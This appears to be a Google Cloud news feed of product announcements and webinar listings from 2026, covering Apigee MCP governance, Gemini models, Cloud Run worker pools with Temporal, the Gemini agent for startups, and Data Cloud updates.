Connect Gemini Enterprise agents to core data without creating security hazards. Join Google Cloud Specialist Nigel Walters on June 11 to learn how to instantly transform legacy REST APIs into secure Model Context Protocol (MCP) servers. We’ll cover how to safely register tools with Gemini while enforcing gateway-level guardrails like rate limiting and access control policies.

Register for the June 11 Community TechTalk

May 18 - May 22

Chinese Webinar | June 4: AI Command and Control
As AI agents move from experimental pilots to core enterprise functions, governance has become a critical next step. Join Google Cloud on June 4th at 10:00 AM (Beijing Time) to learn how to build a secure AI management layer architecture. We'll explore how to develop governed MCP (Model Context Protocol) endpoints, manage tool access to enterprise data, and leverage robust audit logs to operationalize AI. This session also includes a practical demonstration of these governance frameworks on Google Cloud.

Register here
GCP Announces New Features to Benchmark and Optimize LLMs for On-Device Use Cases
Deploying fine-tuned LLMs from GCP to edge devices like smartphones is complex due to fragmented hardware. Google AI Edge Portal bridges this gap, giving GCP developers the ability to test AI performance on 120+ Android devices, representing the full diversity of high, medium, and low tier smartphones on the market today. This week at I/O, we announced brand new capabilities to benchmark and debug LLM performance across these devices. Sign-up to utilize these new features in private preview today.

May 11 - May 15

Build Your AI & MCP Control Tower for Universal Governance
Master the future of agentic security with Apigee. Join our Community TechTalk on May 21 to discover how Apigee serves as a central "Control Tower" for the Model Context Protocol (MCP). We will explore how new JSON-RPC tool authorization enables fine-grained access policies across your organization, ensuring secure and scalable AI deployments. Whether managing internal tools or external users, learn to govern your agentic ecosystem with absolute precision. This session is designed for global coverage across EMEA and AMER regions.

Register for the May 21 Community TechTalk

Apr 27 - May 1

Master Your Launch: The Apigee Production Go-Live Checklist
Ensure a secure launch with the Apigee production guide. Join Nicola Cardace on May 28 to explore security guardrails, including IAM roles, mTLS configurations, and encrypted KVM migrations. Scheduled at 11 AM EDT / 5 PM CEST to support EMEA and AMER teams, this TechTalk provides the technical roadmap you need to flip the switch with absolute confidence.

Register for the May 28 Community TechTalk
Transforming APIs into Governed Agentic Tools on the Google Cloud Agentic Platform
Turn your APIs into secure, governed agentic tools on the Google Cloud Agentic Platform. Join Specialist Christophe Lalevée on May 7 for a technical deep dive into AI productization. Scheduled at 5 PM CEST / 11 AM EDT to maximize coverage for developers across EMEA and AMER, this session explores the integration and governance frameworks required to scale enterprise-ready AI with confidence.

Register for the May 7 Community TechTalk
Fractional G4 VMs are Generaly Available, providing a highly efficient and cost-effective entry point for AI and graphics workloads. These new configurations, using NVIDIA virtual GPU (vGPU) technology, allow you to leverage the power of the NVIDIA RTX PRO 6000 Blackwell Server Edition GPUs in flexible, smaller increments, so you can right-size your infrastructure to match the specific demands of your applications. By providing more granular access to advanced hardware, fractional G4 VMs let you optimize resource allocation and reduce overhead without sacrificing performance. You can now select from additional GPU slice sizes for your specific needs:
- 1/2 GPU: Ideal for more intensive tasks such as LLM inference, robotics sensor simulation, and high-fidelity 3D rendering.
- 1/4 GPU: Optimized for mainstream workloads, including mid-range creative design, video transcoding, and real-time data visualization.
- 1/8 GPU: Great for lightweight applications such as remote desktops, productivity tools, and entry-level streaming services.
Transitioning AI from a sandbox prototype to an enterprise-grade system is a major hurdle. A monolithic script won't suffice for widespread deployment. To achieve true scale and reliability with Gemini, organizations must adopt service-oriented micro-agent architectures, establish Zero-Trust security, and implement rigorous EvalOps. Master the "Agentic Maturity Ladder" to ensure your AI & Agentic solutions are robust, secure, and ready for the real world.

Watch the deep dive and read the developer blog to learn more.
ML Development in VS Code with Google Cloud Power: Workbench Extension Now Available
Data scientists and developers can now combine the local productivity of VS Code with the scalable infrastructure of Google Cloud. The new Google Cloud Workbench Notebooks extension allows you to connect to and run notebooks on managed cloud environments directly within your local IDE. This integration streamlines the ML lifecycle by eliminating context switching and providing high-performance compute for complex workloads in a familiar interface. As part of our commitment to the developer ecosystem, the extension is fully open-sourced to support community-driven innovation.
- Install from Marketplace: GoogleCloudTools.workbench-notebooks
- Contribute on GitHub: colab-enterprise-vscode

Apr 20 - Apr 24

Announcing the 2026 Google Cloud Partners of the Year
Google Cloud is honored to celebrate the winners of the 2026 Partner of the Year awards! These awards recognize an exceptional group of partners across AI, Security, Infrastructure, and more, who have demonstrated a commitment to customer success. From global system integrators to specialized startups, these winners are leveraging the power of Google Cloud to solve complex challenges and drive digital transformation worldwide. Join us in congratulating these organizations for their innovation, collaboration, and impactful results over the past year.

See the 2026 Partner Award winners

Apr 13 - Apr 17

We're excited to announce the Public Preview of Datastream’s metadata integration with Knowledge Catalog. This is the first step in our vision to provide a centralized, "single pane of glass" for all Datastream assets. The enhancement automatically synchronizes Streams, Connection Profiles, and Private Connections, eliminating data silos. It enhances discoverability, allowing you to search for Datastream assets using the same interface as BigQuery tables. Centralized governance is also provided, making your real-time data estate more transparent and easier to manage.
Upgrading Apigee OPDK to 4.53 with OS Modernization
Modernize your infrastructure using Google’s official, sequential upgrade path. Our Technical expert, Rakesh Talanki outlines how to upgrade Apigee OPDK to v4.53 while migrating to a supported OS (RHEL 8.x/9.x). This guide covers the "build-out" methodology, including multi-data center syncing, to ensure a stable, zero-downtime transition

Read the guide
Cloud Run Worker Pools and CREMA: Powering Serverless AI at Scale
Google Cloud has announced the General Availability of Cloud Run worker pools, a new resource type designed specifically for pull-based, non-HTTP workloads. Unlike traditional Cloud Run services that scale based on request traffic, worker pools provide an "always-on" environment for background tasks like processing message queues or running large-scale AI inference. To support this, Google Cloud also open-sourced the Cloud Run External Metrics Autoscaler (CREMA). Built on KEDA, CREMA enables queue-aware autoscaling for worker pools, allowing them to dynamically scale based on external signals like Pub/Sub backlog or Kafka lag.
Apigee Model Context Protocol (MCP) now Generally Available
Expose enterprise APIs as MCP tools for agentic AI applications with the General Availability of MCP in Apigee. This update allows developers to transform APIs into AI-ready tools using OpenAPI Specifications, removing the need for local MCP servers or additional infrastructure. With managed endpoints and semantic search in API hub, you can now provide AI agents with secure, governed access to enterprise data at scale.

Explore the MCP overview

Apr 6 - Apr 10

Community TechTalk: Powering Retail Agents with ADK, UCP & Apigee X
Move beyond basic chatbots to secure, transactional AI experiences. Join our Community TechTalk on April 16 to learn how Apigee X and Gemini build a "Trust Layer" for AI shopping assistants using UCP standards. We’ll demonstrate how to block prompt injections with Model Armor and implement cost governance via token limits to secure the path from discovery to purchase.

Register for the TechTalk
Implement multimodal capabilities in your AI agents
Explore three new reference architectures for building sophisticated multi-agent AI systems that can process and analyze multimodal data. To analyze disparate multimodal data and produce a high-confidence classification, see Classify multimodal data. To create a fluid conversational AI that processes audio and video streams in real time, see Enable live bidirectional multimodal streaming. To consolidate fragmented multimodal data into a searchable knowledge graph, see Multimodal GraphRAG resource orchestration.
Automate SecOps workflows with an agentic AI system
To accelerate incident response and reduce manual toil for your security team, you need a system that can automate remediation playbooks. Our new reference architecture helps you build an AI agent that orchestrates complex triage and investigation workflows across disparate security tools, such as SIEM, CSPM, and EDR, from a single interface. See the full guide to orchestrate security operations workflows.

Mar 30 - Apr 3

ASEAN Webinar | April 30: Mastering Agentic Governance at Scale with GCP
As AI agents move from experimental pilots to core enterprise functions, governance is the critical next step. Join Google Cloud experts Shilpi Puri & Wely Lau for a webinar on April 30th at 11:00 AM SGT to learn how to architect a secure AI Management layer. We’ll explore developing governed MCP endpoints, managing tool access to enterprise data, and operationalizing AI with robust audit logs. The session includes a live demo of these frameworks in action on Google Cloud.

RSVP here.

Mar 23 - Mar 27

Turn your API sprawl into an agent-ready catalog
As organizations scale, APIs often become scattered across multiple gateways, creating "blind spots" that hinder AI adoption. To solve this, we’ve introduced two new capabilities for Apigee API hub: a new integration with API Gateway to automatically centralize API metadata into a single control plane, and a specification boost add-on (now in public preview). This add-on uses AI to enhance your API documentation with the precise examples and error codes that AI agents need to function reliably.

Read the full blog post to get started.
Webinar | April 16: AI Command & Control
As AI agents move from experimental pilots to core enterprise functions, governance is the critical next step. Join Google Cloud expert Satyam Maloo for a webinar on April 16th at 11:00 AM IST to learn how to architect a secure AI Management layer. We’ll explore developing governed MCP endpoints, managing tool access to enterprise data, and operationalizing AI with robust audit logs. The session includes a live demo of these frameworks in action on Google Cloud.

RSVP here.
Modernizing and Decoupling Event Ingestion with Apigee
In modern cloud-native architectures, decoupling producers from consumers is critical for building resilient systems. While Google Cloud Pub/Sub provides a scalable backbone, exposing it directly to external clients can introduce security and management overhead. This new guide explores how to leverage Apigee as an intelligent HTTP ingestion point. Learn how to handle security, mediation, and traffic control before messages reach your internal bus using the PublishMessage policy or Pub/Sub API.

Read the full guide.

Mar 16 - Mar 20

Gemini-powered Assistant in BigQuery Studio Gets Context-Aware Upgrades
The Gemini-powered assistant in BigQuery Studio has been transformed into a fully context-aware analytics partner, supporting your entire data lifecycle. The new capabilities include intelligent resource discovery, which uses Dataplex Universal Catalog search to find resources across projects and deep dive into metadata using natural language. You can now automate tasks, such as scheduling production-grade queries directly through the chat interface, and instantly troubleshoot long-running or failed jobs with root cause analysis and cost control auditing.

Explore the full range of what the assistant can do.

Mar 9 - Mar 13

Want to use Gemini to develop code and don't know where to start?
This article includes a couple of examples of developing code with Gemini prompts; it identified changes that were needed to be made to get the code working. The article also refers to other examples that are available on github.

Mar 2 - Mar 6

Introducing Gemini 3.1 Flash-Lite, our fastest and most cost-efficient Gemini 3 series model. Built for high-volume developer workloads at scale, 3.1 Flash-Lite delivers high quality for its price and model tier. Gemini 3.1 Flash-Lite can tackle tasks at scale, like high-volume translation and content moderation, where cost is a priority. And it can also handle more complex workloads where more in-depth reasoning is needed, like generating user interfaces and dashboards, creating simulations or following instructions.

Starting today, 3.1 Flash-Lite is rolling out in preview to enterprises via Vertex AI and developers via the Gemini API in Google AI Studio.
TechTalk: Implementing Device Authorization Grant (RFC 8628) for Apigee
Learn how to authorize "headless" devices like Smart TVs or AI agents that lack keyboards and browsers. Join our Community TechTalk on March 19 (5PM CET / 12PM EDT) to go under the hood of Apigee X/Hybrid. We’ll cover the real-world mechanics of state management, polling, and human-in-the-loop security patterns for devices and autonomous agents.

Register for the TechTalk

Feb 23 - Feb 27

Pro-level image generation gets faster and more accessible with Nano Banana 2
Nano Banana 2 is our state-of-the-art image generation and editing model. It delivers Pro-level image generation and editing at the speed you expect from Flash — making the quality, reasoning, and world knowledge you loved about Nano Banana Pro more accessible. Learn more about the model here.

The Intelligent Path to Compliance: Transforming Regulatory QC with Google Cloud
Reducing "Refuse to File" (RTF) risks and submission cycle times is critical for life sciences leaders. Google Cloud’s Regulatory Submission Semantic QC Auditor leverages Gemini and RAG architecture to transform Quality Control from a manual burden into an active, intelligent workflow.

By automating semantic cross-referencing, narrative coherence checks, and dynamic guidance-based auditing, this solution ensures rigorous accuracy and auditability. Operating within a secure GxP-ready environment, it empowers teams to detect subtle inconsistencies and generate remediation plans without sacrificing data privacy.

Learn more.
Stop typing, start interacting! The Gemini Live Agent Challenge is here. Build immersive agents that can help you see, hear, and speak using Gemini and Google Cloud. Compete for your share of $80,000+ in prizes and a trip to Google Cloud Next '26!

Submissions are open from February 16, 2026 to March 16, 2026. Learn more and register at geminiliveagentchallenge.devpost.com

Feb 9 - Feb 13

Introducing Gemini 3.1 Pro on Google Cloud.
3.1 Pro is a noticeably smarter, more capable baseline for complex problem-solving. We’re shipping 3.1 Pro at scale, building upon our goal to help you transform your business for the agentic future. Learn more about the model’s capabilities here. Gemini 3.1 Pro is available starting today in preview in Vertex AI and Gemini Enterprise. Developers can access the model in preview via the Gemini API in Google AI Studio, Android Studio, Google Antigravity, and Gemini CLI.
Automate Storage Compatibility with GKE Dynamic Default Storage Classes
Managing storage across mixed-generation VM clusters in GKE just got easier. With the new Dynamic Default Storage Class, Google Kubernetes Engine automatically selects between Persistent Disk (PD) and Hyperdisk based on a node's specific hardware compatibility. This abstraction eliminates the need for complex scheduling rules and manual pairing, ensuring your volumes "just work" regardless of the underlying infrastructure. By defining both variants in a single class, you reduce operational overhead while maintaining peak performance and cost-efficiency across your entire cluster.

Explore automated disk type selection
Community TechTalk: AI-Powered Apigee Development with strofa.io
Join the Apigee community on February 26 for a deep dive into strofa.io. Guest speaker Denis Kalitviansky will demonstrate how this new AI-powered tool automates and orchestrates Apigee development, from local emulators to large-scale hybrid environments. Discover how to scale your API management and streamline team collaboration using the latest in AI-driven automation.

Register now to reserve your spot.

Jan 26 - Jan 30

Simplify API Governance with Native OpenAPI v3 Support
Eliminate integration debt and accelerate deployment velocity with the General Availability of OpenAPI v3 (OASv3) support for API Gateway and Cloud Endpoints. You no longer need to downgrade modern specifications to OASv2. Instead, you can now define API contracts and enforce critical policies—including telemetry, quotas, and security—using native Google-specific extensions directly within your OASv3 files. This update ensures your APIs are secure by design while remaining fully compatible with the modern developer ecosystem and Google Cloud’s AI services.

Get started with OpenAPI v3 on API Gateway and Cloud Endpoints.

Accelerate API Testing with the New Open Source API Tester
Start validating your APIs with API Tester, a simple, YAML-based Test Driven Development (TDD) framework. Designed for the Apigee community, this tool allows you to write human-readable tests, run them instantly via a web client or CLI, and perform deep unit testing on Apigee proxies. With native support for JSONPath assertions and Apigee shared flows, you can verify everything from payload data to internal variables like proxy.basepath without leaving your terminal.

Explore the API Tester guide and start testing your proxies today.
Secure Sensitive Data with Kubernetes Secrets in Apigee hybrid
Enhance security in Apigee hybrid by accessing Kubernetes Secrets directly within your API proxies. This hybrid-exclusive feature keeps sensitive credentials within your cluster boundary and prevents replication to the management plane. It supports strict separation of duties: operators manage secrets via kubectl, while developers reference them as secure flow variables—ideal for high-compliance and GitOps workflows.

Implement Kubernetes Secrets in your hybrid proxies.
See the Console in a Whole New Light: Dark Mode is Now Generally Available in Google Cloud
Elevate your cloud management workflow with Dark Mode, now generally available in the Google Cloud console. We have delivered a modern, cohesive, and accessible experience reimagined for maximum comfort and productivity—especially during extended working hours and low-light environments. Dark Mode can be enabled automatically based on your operating system's preference, or manually through the Settings -> Appearance menu.

Switch to Dark Mode today to enjoy a modern, comfortable, and productive environment!
Apigee X Networking: PSC or VPC Peering?
Deciding how to connect Apigee X? Watch this video to compare Private Service Connect and VPC Peering. We break down northbound and southbound routing, IP consumption, and how to reach targets on-prem or in the cloud. Learn to simplify your architecture and avoid common networking "gotchas" for a smoother deployment.

Watch the video.

Jan 19 - Jan 23

Bridge the Gap: Excel-to-API Conversion in Apigee Portals
Give your customers more ways to connect! This new article by Tyler Ayers explores how to extend the Apigee Integrated Portal to support direct Excel file uploads. By leveraging SheetJS and custom portal scripts, you can enable users to upload spreadsheets, preview data, and submit it directly to your APIs, all without writing a single line of integration code themselves. It’s a powerful way to simplify onboarding for those who aren't yet API-ready.

Learn how to build it.
Elevate your applications with Firestore’s new advanced query engine
We have fundamentally reimagined Firestore with pipeline operations for Enterprise edition. Experience a powerful new engine featuring over a hundred new query features, index-less queries, new index types, and observability tooling to improve query performance. Seamlessly migrate using built-in tools and leverage Firestore’s existing differentiated serverless foundation, virtually unlimited scale, and industry-leading SLA. Join a community of 600K developers to craft expressive applications that maximize the benefits of rich queryability, real-time listen queries, robust offline caching, and cutting-edge AI-assistive coding integrations.

Learn more about Firestore pipeline operations.

Temporal Serverless Workers on Cloud Run: Scale workers ahead of demand

Thu, 15 Oct 2026 16:00:00 +0000

The open-source Temporal execution platform is rapidly becoming a foundational layer of modern software infrastructure — especially for orchestration in distributed systems and AI agent workloads. However, deploying and scaling workers in Temporal comes with unique challenges. Workers poll for tasks instead of serving requests, so request-driven serverless platforms can be an awkward fit. This often results in running worker fleets on Kubernetes or VMs, which you have to manage and pay for continuously. You build a metrics pipeline and tune autoscaling triggers, and scaling still trails bursts because of metrics lag. Every deployment means juggling upgrades and versions, and you pay for that compute whether or not there's work in the queue.

We built Cloud Run worker pools for exactly this kind of pull-based work: Your instances connect to a queue or stream, take the next item, and process it. Starting today, Temporal Cloud, which is the fully managed version of Temporal’s open-source platform, can scale them for you. Currently in preview, Temporal Serverless Workers on Cloud Run let you deploy your workers as a worker pool, and Temporal sizes the pool to match the work on your task queues. When there's no work, it can scale the pool to zero. There's no cluster or autoscaler to run, and your worker code stays the same.

How Cloud Run worker pools fit with Temporal

A worker pool is Cloud Run's resource for continuous background work. It has no public endpoint, and each instance is allocated CPU for its whole lifetime, which matches how a Temporal worker runs. Temporal manages your Cloud Run worker pools as follows:

Your Temporal workers run as Cloud Run worker pool instances in your project and poll Temporal Cloud for tasks.
Temporal Cloud tracks your task queues and sets the worker pool's instance count through the Cloud Run Admin API, using the IAM permissions you grant. Temporal never opens a connection to your instances, so you don't need to open ports or add firewall rules for it.
You run each build version as its own Cloud Run worker pool. An older build's worker pool can sit at zero instances until a workflow that started on it needs it again.

Your Temporal workers run in your project, under your service account, and on your network. Temporal decides how many of them run.

What you can build with Temporal Serverless Workers

The combination of Cloud Run worker pools with Temporal Serverless Workers opens up a variety of interesting use cases:

Autoscaled agentic workers: AI agents run multi-step chains of LLM reasoning and tool calls. Temporal's durable execution and Cloud Run worker pools work together here. Temporal workers spin up instantly to handle bursts of LLM steps, embeddings or API calls, then scale to zero when the queue empties. Workers get keyless access to Google Cloud AI APIs. You can also attach a GPU for inference, and the workers attached to the GPUs will still scale to zero. Temporal runs each model and tool call as a durable activity; if a worker disappears mid-step, the activity retries on another worker and the workflow continues.

Long-running Workflows: Temporal Workflows can run indefinitely, allowing for building applications that track the state of real-world resources over long periods of time. This pattern is typically known as the “Entity Pattern,” because the Workflow represents the state of some entity. However, these long-running Workflows don’t usually have consistent compute requirements: Some individual steps are short, some are long, and other times, the Workflow is sleeping, waiting for external input, such as from a human or another system. Cloud Run worker pools provide flexible compute to support this pattern: Individual steps can run for as long as is required, and Temporal will automatically scale down the worker pool when there is no work to be done.

Bursty batch work: Worker pools bill only while instances run, so a worker pool that sits idle between batch runs costs nothing while it's at zero instances. For jobs like billing runs or media transcoding, Temporal scales the pool out as batches arrive and back in once the queue drains. Your maximum instance count caps how many instances you pay for. Tasks beyond that capacity wait in the queue rather than being dropped.

Why Cloud Run worker pools for Temporal workers

Before, running Temporal workers on Cloud Run services took some workarounds:

an HTTP listener, because services expect containers to listen on a port
instance-based billing, so workers kept their CPU between requests
minimum instances, so the service didn't scale to zero

By running Temporal workers on Cloud Run worker pools, you don’t need those workarounds anymore, and you have:

No endpoint to manage. There's no public URL or load balancer to lock down, and no health-check port to implement.
Steady CPU at a lower price. Instances don't idle or throttle. Cloud Run doesn't remove instances because they look idle, so Temporal alone decides when the pool shrinks. Worker pools list at almost 40% less per vCPU-hour and GB-hour than instance-billed Cloud Run services.
Scaling without revision churn. Changing the instance count doesn't create a new revision, so Temporal can resize the pool as often as the load changes.

How Temporal manages scaling and versioning of worker pools

Temporal decides when to add capacity using one main signal: the delay between a task landing in the task queue backlog and a worker picking it up. If that delay grows, the available workers are saturated. Scaling occurs as follows:

Server-side detection: The Temporal server tracks this backlog-to-worker latency for each task queue.
Push notification: When the latency crosses its trigger conditions, the server sends a push notification to the worker controller instance.
Provisioning: The worker controller then adds capacity to the worker pool. New instances take time to start and connect before they can poll for tasks, so capacity lags behind the signal.

Because Temporal keeps spare capacity, the pool grows ahead of demand instead of after tasks pile up. Scale-in is more conservative. Temporal waits for a stabilization period after the last time a task found no available worker (90 seconds by default), and it pauses between successive reductions. Cloud Run’s configurable graceful shutdown extends shutdown from 10 seconds to 10 minutes. That gives SIGTERM-aware workers time to finish or checkpoint. The instance count stays between a minimum and a maximum that you set. If the first task after an idle period can't wait for an instance to start, set the minimum above zero.

Deploying new workflow code without breaking running executions is hard. Temporal workflows are stateful and deterministic, so if you swap their code mid-run, you get non-determinism errors. Serverless Workers on Cloud Run solve this by requiring Temporal Worker Versioning. You don't patch code with conditional branches. Instead, you deploy each Worker Deployment Version as its own worker pool deployment, identified by a deploymentName and a buildId. Using distinct worker pools solves two problems:

Workflows that started on a particular Worker Deployment Version continue to run and complete on that version.
Each Worker Deployment Version is scaled and drained individually, matching compute spend and utilization to the requirements of your application. As existing workflows complete and drain on a previous Worker Deployment Version, the underlying Worker Pool is eventually scaled down to zero automatically.

You set a versioning behavior for each Workflow type, or set a Worker-level default:

PINNED: A workflow stays on the Worker version (Build ID) it started on and finishes there. Best for short-running workflows, order processing and multi-step APIs.
AUTO_UPGRADE: A workflow moves to the new "Current" or "Target" Worker Deployment Version as you roll it out. Best for long-running workflows, such as subscription billing or tasks that run for weeks.

Learn more about configuring worker versioning here.

Get started

Setup takes three steps:

Containerize your Temporal Worker and deploy the container as a Cloud Run worker pool, with the Build ID in the pool name. Keep credentials such as your Temporal API key in Secret Manager.
Connect Temporal to your worker pool by granting Temporal Cloud permission to manage the worker pool so it can scale it.
Create a Worker Deployment Version in Temporal that points at the pool's project, region, and name.

Temporal Serverless Workers on Cloud Run is in preview, so APIs and configuration may change before the stable release. To get started,

Learn how Serverless Workers on Cloud Run scale and handle versions.
Deploy your first worker with the setup guide.
See Cloud Run worker pools for CPU, memory, GPU and networking options.
Sign up for the configurable graceful shutdown preview.

What the Gemini agent means for startups

Thu, 15 Oct 2026 16:00:00 +0000

Small teams, short runway, and constant pressure to ship faster — it’s the reality we see every day among the founders we work with at Google for Startups. When you are building a company from the ground up, every hour spent on operational overhead or infrastructure plumbing is an hour taken away from your core product.

Last week at Gemini at Work 2026, we introduced the Gemini agent: a single, universal agent designed to work both as your personal assistant and as a dedicated member of your team. And this week, we made our new frontier model, Gemini 4 Argon, widely available — trained to maintain context across long, multi-step tasks.

Here is a look at how the Gemini agent works, five practical takeaways for founders, and how startups are already using it to punch above their weight.

What is the Gemini agent?

Instead of prompting separate chatbots for writing, coding, and data analysis, the Gemini agent is a single agent that takes high-level objectives and returns finished work. Three principles define it:

Unified: A single agent can now handle knowledge work, data analysis, creative asset generation, and writing and running code. For complex jobs, it dynamically spins up temporary, job-specific sub-agents and coordinates their work in parallel or in sequence.
Omnipresent access: It works across the surfaces you use every day — on the web, command line, desktop, and mobile, as well as natively inside Gmail, Docs, Sheets, Slides, Drive, Chat, and Calendar.
Persistent: It runs in the cloud with continuous memory across four dimensions (session, semantic, procedural, and episodic). It onboards itself like a new hire — learning your team, tools, and business context so you don't have to re-explain your startup with every prompt, and keeping multi-day tasks moving even after you close your laptop.

For founders wearing five hats at once, Gemini works like a digital chief of staff that's already briefed on your calendar, projects and documents. Ask it to research market trends, build a financial model in Sheets and turn both into a pitch deck, without repeating what the project or goals are at each step. It also works ahead of you. When an investor emails asking for your latest product update as a deck, Gemini spots the request and offers to handle it; one click and it comes back with completed work, ready for sharing or review.

Five takeaways for startups

1. Coworker agents and skills help you scale your output

Beyond personal assistance, you can create persistent coworker agents that work with your entire team. Each agent comes with its own Workspace account, email address, Drive storage, and directory presence. You can define a specific role — such as a launch coordinator, QA triager, or financial analyst — and your teammates can add agents to a Chat space or @mention it in a Google Doc comment to delegate work.

You can also equip agents with reusable skills — or let Gemini write skills for itself as it learns your processes. For example, with operational reporting skills connected to BigQuery and the Knowledge Catalog, anyone on your team can ask a plain-language question to build and save a live report. Once saved, those reports run on demand without incurring additional token costs. Gemini also offers pre-built specializations, starting with legal and financial services.

What it means for startups: Coworker agents can immediately increase the capacity of your teams, and skills can standardize repeatable processes like investor and operational reporting without burning tokens on every run.

2. Open and third-party model choice

Gemini is the agent, and the model underneath is your choice. As startup architectures mature, sending every task to a single frontier model quickly eats into gross margins. With the Gemini agent, you can dynamically route workloads across Gemini models, third-party models like Anthropic’s Claude, and lightweight open models like Gemma.

What it means for startups: You get flexibility without lock-in. You can optimize your cost per task — using compact models for high-volume, deterministic jobs and frontier models for complex reasoning — and swap models as your product evolves without rebuilding your workflows.

3. Connected to your services and tools

An agent is only as useful as the systems it can reach. In addition to Google Workspace, the Gemini agent connects directly to your engineering, data, and business stack, including partner solutions:

Development and collaboration: Git, Slack, Jira and more
Data and local files: BigQuery, Postgres, Snowflake, Databricks, and more alongside files on your desktop
Custom tools via MCP: Any Model Context Protocol (MCP) server inside or outside your network so your engineers can build and share internal tools.

What it means for startups: Instead of spending engineering cycles maintaining custom connectors, your team can plug the agent straight into your existing codebase, databases, and MCP tools so it can act on live data wherever it lives.

4. Built-in security and governance

For B2B startups, the enterprise security audit is often where deals stall. Under the hood, every agent is assigned a cryptographic Agent Identity for clear audit trails, runs inside an isolated sandbox, and protected with built-in prompt injection defenses. External traffic is routed through Agent Gateway, allowing you to enforce governance policies. And managing coworker agents is as straightforward as managing users today, since they all have a Workspace account.

What it means for startups: When an enterprise buyer’s CISO asks how your AI workflows handle data privacy, prompt injection, and access control, you have an enterprise-grade architecture ready — helping you clear procurement hurdles.

5. Protect your runway with real-time cost controls

Autonomous agents that run sub-agents for hours or days can quickly run up a bill if a loop goes unchecked. You can now set hard, real-time spend caps directly in the Cloud Billing Console; if a cap is reached, the project's agent automatically pauses so a bug never turns into a billing surprise. Underneath, Gemini runs on Google’s specialized AI infrastructure, including our inference-optimized TPU 8i, which delivers 80% better performance-per-dollar than the prior generation.

What it means for startups: You and your developers can experiment with long-running, parallel agentic loops with a built-in financial safety net that protects your cash reserves and builds confidence with your backers.

Founders already building

Startups and AI-native innovators are already putting Gemini to work. Immersive storytelling platform Whenere used Dreamlands, an agentic 3D worldbuilding platform built on Gemini platform, to bring Pride and Prejudice to Fortnite — with Gemini generating textures for each new object in about 7 seconds for under 10 cents; one artist created nearly 250 custom assets in a single day and completed a historically accurate estate in under a week. They join application-building platform Lovable and fellow startups and innovators including OpenEvidence, Recursion, and Replit and more.

Build with Google for Startups

The agentic era gives lean teams the leverage to punch far above their weight — whether you’re deploying coworker agents to cover internal operations or building agentic workflows directly into your product.

While these new Gemini agent capabilities are not publicly available yet, startups can contact our sales team to learn more and discuss how to get ready. In the meantime, you can explore the Google for Startups program to access credits, hands-on technical guidance, mentorship, global founder community programs and more.

What’s new with Google Data Cloud

Thu, 15 Oct 2026 16:00:00 +0000

October 12 - October 16

Looker Data Apps are now in Preview to build and host interactive, agent-generated applications natively inside Looker
Generated using natural language prompts, the Antigravity CLI, or Claude Code, these interactive web applications, natively hosted inside Looker, transform business reporting into operational systems of action. Users can test scenarios, adjust parameters, and trigger workflows in downstream platforms while inheriting LookML semantic modeling, row-level security, and access controls with no runtime LLM token costs. Read the announcement blog.
Build end-to-end data science pipelines with the Data Agent Kit
Following the general availability of the Data Agent Kit, a new end-to-end walkthrough demonstrates how data teams can build, test, and schedule machine learning pipelines directly from their preferred code editors. Explore the walkthrough and codelab.
Manage dashboard agents as code to bring CI/CD and version control to LookML dashboards
Data teams can now declare agent parameters, configurations, and prompt instructions alongside dashboard files in code. This integration enables standard developer workflows for conversational BI, including Git version control, peer review, branching, and automated CI/CD validation before agent modifications reach production end users. Read the technical guide on the Google Developer Community.
Simplify AI search with native AlloyDB hybrid search and Reciprocal Rank Fusion
AlloyDB for PostgreSQL simplifies hybrid search architectures by combining vector similarity search and keyword BM25 retrieval within a unified database engine. Using Reciprocal Rank Fusion (RRF), developers can merge lexical scoring and semantic embeddings into a single ranked result without writing a complex SQL query. This unified approach removes the operational overhead of running and synchronizing external search engines alongside operational databases for retrieval-augmented generation (RAG) and search applications. Explore hybrid search in AlloyDB.

October 5 - October 9

Data Agent Kit is now generally available to bring Google Data Cloud to any coding agent
Data Agent Kit provides a free collection of Model Context Protocol (MCP) tools and Google-authored agent skills that connect more than 15 Google Data Cloud services directly to coding agents across VS Code, Antigravity, Cursor, Claude Code, and Codex. This release expands support for developers and data practitioners to inspect schemas, author queries, and build end-to-end data pipelines in natural language directly from their IDE or CLI. Read the announcement blog.
Spanner Omni is now generally available for deploy-anywhere, multi-model workloads
Spanner Omni brings Spanner's distributed SQL, graph, vector, and key-value capabilities to any environment, including on-premises data centers, other public clouds via Kubernetes or VMs, and local developer laptops. Organizations can build and run multi-model applications with consistent APIs and query engines across hybrid and multi-cloud footprints while seamlessly scaling to managed Spanner on Google Cloud. Read the launch blog and explore how Spanner also removed cumulative mutation limits for DML transactions.
AlloyDB delivers PostgreSQL for agents and native BM25 hybrid search
We announced PostgreSQL for agents in AlloyDB, introducing an agentic database architecture engineered for real-time data access at agent scale with workload isolation. In addition, native BM25 ranking is now in Preview for AlloyDB and Cloud SQL, allowing developers to combine keyword search and vector embeddings directly in PostgreSQL without maintaining an external search engine. For hybrid deployments, the AlloyDB Omni RPM Orchestrator is now generally available, and you can dive deeper in our new Build AI apps and agents with AlloyDB eBook.
Lakehouse runtime catalog adds regional endpoints across 22 regions and GA support for flexible column names
Lakehouse runtime catalog regional endpoints are now live across 22 Google Cloud regions across the Americas, Europe, Asia-Pacific, and the Middle East, supporting both the Apache Iceberg REST catalog endpoint and the Apache Hive catalog endpoint to help customers meet strict data residency and sovereignty requirements. In addition, flexible column names for Apache Iceberg tables are now generally available by default across Iceberg external tables and managed tables, enabling seamless querying of columns containing spaces, hyphens, and Unicode characters. We also announced the Preview of cross-cloud caching and connections for the borderless Lakehouse.
Unlock predictive and agent-ready insights with BigQuery augmented analytics TVFs, TabFM, and identity columns
BigQuery introduced augmented analytics table-valued functions (TVFs): six built-in functions that automate metric diagnostics, trend analysis, and pattern discovery directly where your data lives and integrate as skills for AI agents. We also introduced TabFM in BigQuery to bring tabular foundation model capabilities to predictive analytics, alongside BigQuery identity columns to automatically generate sequential surrogate keys and simplify data warehouse pipelines.
Dataflow adds Pause/Resume and NVIDIA RTX PRO 6000 Blackwell GPU support for large-scale AI workloads
New Dataflow capabilities make it easier to run high-throughput streaming and batch AI pipelines at scale, including Pause/Resume job controls and support for NVIDIA RTX PRO 6000 Blackwell GPUs. And for teams running Apache Spark workloads, learn how to mitigate compute stockouts and maximize availability using flexible VMs.
Unlock up to 3x higher QPS and microsecond latency with Memorystore for Valkey 9.1
Memorystore for Valkey 9.1 is now available, delivering up to 3x higher queries per second (QPS) and microsecond-level caching latencies to accelerate high-throughput applications and real-time AI agent state management. Read the blog.
Customer momentum across Google Data Cloud — Yahoo, PayPal, Surescripts, Airwallex, and Lucius AI
